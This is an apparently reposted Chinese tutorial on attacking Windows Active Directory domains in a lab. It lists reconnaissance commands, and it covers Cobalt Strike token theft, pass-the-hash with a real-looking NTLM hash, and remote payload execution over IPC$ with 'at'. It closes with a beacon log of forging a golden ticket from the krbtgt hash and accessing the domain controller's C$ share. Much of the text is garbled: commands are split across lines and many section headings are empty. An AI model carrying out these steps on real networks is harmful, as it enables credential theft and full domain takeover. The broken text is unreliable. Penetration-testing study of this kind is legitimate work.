域渗透常规方法和思路
- 1、域内信息收集
- 1.1、获取当前用户信息
- 1.1.1、获取当前用户与域 SID
- 1.1.2、查询指定用户的详细信息
- 1.7.1、判断用户是否在域
- 1.7.2、查看域控制器的机器名
- 1.7.3、查看域控制的主机名
- 1.7.4、查看域控 IP
- 1.7.5、查看域控制的主机名
- 1.7.6、查看域控制器组
- 4.1、Access Token 登录令牌
- 4.2、散列认证
- 4.3、IPC 连接
- 4.4、黄金票据(Golden Ticket)
1、域内信息收集
1.1、获取当前用户信息
1.1.1、获取当前用户与域 SID
whoami
/
all
1.1.2、查询指定用户的详细信息
# 查询本地用户详细信息net
user
user01
# 查询域用户详细信息net
user
tester01
/
domain
1.2、判断是否存在域
ipconfig
/
all
systeminfo
net view /domain
- 若是此命令在显示域处显示 WORKGROUP,则不存在域;
- 若是报错:发生系统错误 5,则存在域,但该用户不是域用户
net config workstation
1.2、查询域内所有计算机
1.3、查询域内所有用户组列表
1.4、查询所有域成员计算机列表
1.5、获取域密码信息
1.6、获取域信任信息
1.7、查找域控制器
1.7.1、判断用户是否在域
存在域,当前用户不是域用户
当前网络环境为工作组,不存在域
1.7.2、查看域控制器的机器名
1.7.3、查看域控制的主机名
1.7.4、查看域控 IP
判断域控制器和DNS 服务器是否在同一服务器上
nslookup test.lab
1.7.5、查看域控制的主机名
1.7.6、查看域控制器组
1.8、查询当前域内存活主机
利用NetBIOS 探测内网
nbtscan 192.168.52.0/24
2、判断本地管理员
3、运行 Mimikatz读取密码
4、登录认证
4.1、Access Token 登录令牌
Access Token : 保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。
- 使用 ps 列出进程
- 使用 steal_token [pid] 窃取令牌
- 使用 getuid 找到你是谁
- 使用 rev2self移除令牌
右键要横向的主机,选择psexec64:
选择一个已经获得的凭据或者勾选使用当前令牌,并选择监听器与会话即可:
steal_token 2116
查看一下当前会话 uid
4.2、散列认证
- mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
- cobalt strike自动的从那个进程中窃取令牌并关闭
pth 命令获取信任
pth GODAdministrator f76d5be6348a96263e8bcb0f49552fbb
rev2self
4.3、IPC 连接
- 开启了139、445端口;
- 管理员开启了默认共享;
- 用户名密码错误。
- 目标没有打开ipc$默认共享。
- 不能成功连接目标的139、445端口
- 命令输入错误。
在使用net use 命令与远程目标机器建立ipc$后,可以使用dir 命令列出远程主机中的文件。
在使用net use 命令与远程目标机器建立ipc$后,可以未使用tasklist命令的/S参数列出远程主机上运行的进程。
使用at命令添加定时执行payload文件
shell at \192.168.52.138 9:22:00 c:testartifact_x86.exe
执行成功
删除使用at 命令创建计划任务的记录。
shell at \10.1.1.2 2 /del
4.4、黄金票据(Golden Ticket)
# 获取当前域
[
07/10
10
:43:39
]
beacon
>
shell net view /domain
[
07/10
10
:43:39
]
[
*
]
Tasked beacon to run: net view /domain
[
07/10
10
:43:40
]
[
+
]
host
called home, sent:
47
bytes
[
07/10
10
:43:53
]
[
+
]
received output:
Domain
-------------------------------------------------------------------------------
GOD
命令成功完成。
# 获取域内用户
[
07/10
10
:44:17
]
beacon
>
shell net view /domain:god
[
07/10
10
:44:17
]
[
*
]
Tasked beacon to run: net view /domain:god
[
07/10
10
:44:17
]
[
+
]
host
called home, sent:
51
bytes
[
07/10
10
:44:43
]
[
+
]
received output:
服务器名称 注解
-------------------------------------------------------------------------------
OWA
ROOT-TVI862UBEH
命令成功完成。
[
07/10
10
:45:02
]
beacon
>
shell
whoami
/user
[
07/10
10
:45:02
]
[
*
]
Tasked beacon to run:
whoami
/user
[
07/10
10
:45:02
]
[
+
]
host
called home, sent:
43
bytes
[
07/10
10
:45:02
]
[
+
]
received output:
用户信息
----------------
用户名 SID
==
==
==
==
==
==
==
==
=
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
=
god
administrator S-1-5-21-2952760202-1353902439-2381784089-500
#域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字
#SID 就是S-1-5-21-2952760202-1353902439-2381784089
OWA
krbtgt 58e91a5ac358d86513ab224312314061
[
07/10
10
:57:38
]
beacon
>
mimikatz kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt
[
07/10
10
:57:38
]
[
*
]
Tasked beacon to run mimikatz
's kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt command
[07/10 10:57:38] [+] host called home, sent: 313667 bytes
[07/10 10:57:40] [+] received output:
User : administrator
Domain : god.cm (GOD)
SID : S-1-5-21-2952760202-1353902439-2381784089
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 58e91a5ac358d86513ab224312314061 - rc4_hmac_nt
Lifetime : 2024/7/10 10:57:38 ; 2024/7/10 18:57:38 ; 2024/7/17 10:57:38
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'administrator @ god.cm' successfully submitted
for
current session
shell
dir
DC
C$
原文始发于微信公众号(小C学安全):【内网渗透】内网渗透学习之域渗透常规方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论